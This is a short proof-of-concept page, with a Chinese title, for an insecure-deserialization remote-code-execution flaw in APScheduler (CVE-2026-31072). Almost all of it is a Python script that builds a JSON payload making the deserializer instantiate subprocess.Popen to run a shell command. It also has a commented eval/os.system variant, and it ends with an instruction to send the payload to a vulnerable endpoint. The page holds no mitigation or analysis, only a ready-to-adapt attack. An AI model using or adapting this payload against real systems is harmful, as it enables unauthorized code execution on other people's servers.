CVE-2026-31072 APScheduler不安全反序列化RCE漏洞

import json # PoC for CVE-2026-31072: APScheduler Insecure Deserialization RCE # This script generates a malicious JSON payload designed to exploit # the unmarshal_object vulnerability in APScheduler. def generate_malicious_payload(): # The payload structure targets the unmarshal_object function. # It attempts to instantiate a class that executes a command. # Note: The specific class used depends on the Python environment available on the target. # Example: Targeting a class that runs a shell command via __setstate__ # This structure mimics the behavior expected by the vulnerable serializer. payload = { "__class__": "subprocess.Popen", "__args__": [["touch", "/tmp/pwned"]] } # Alternatively, targeting os.system if the environment allows direct execution in __init__ # payload = { # "__class__": "builtins.eval", # "__args__": ["__import__('os').system('id')"] # } return json.dumps(payload) if __name__ == "__main__": print("[*] Generating malicious JSON payload for CVE-2026-31072...") payload = generate_malicious_payload() print(f"Payload: {payload}") print("[*] Send this payload to the vulnerable application endpoint.")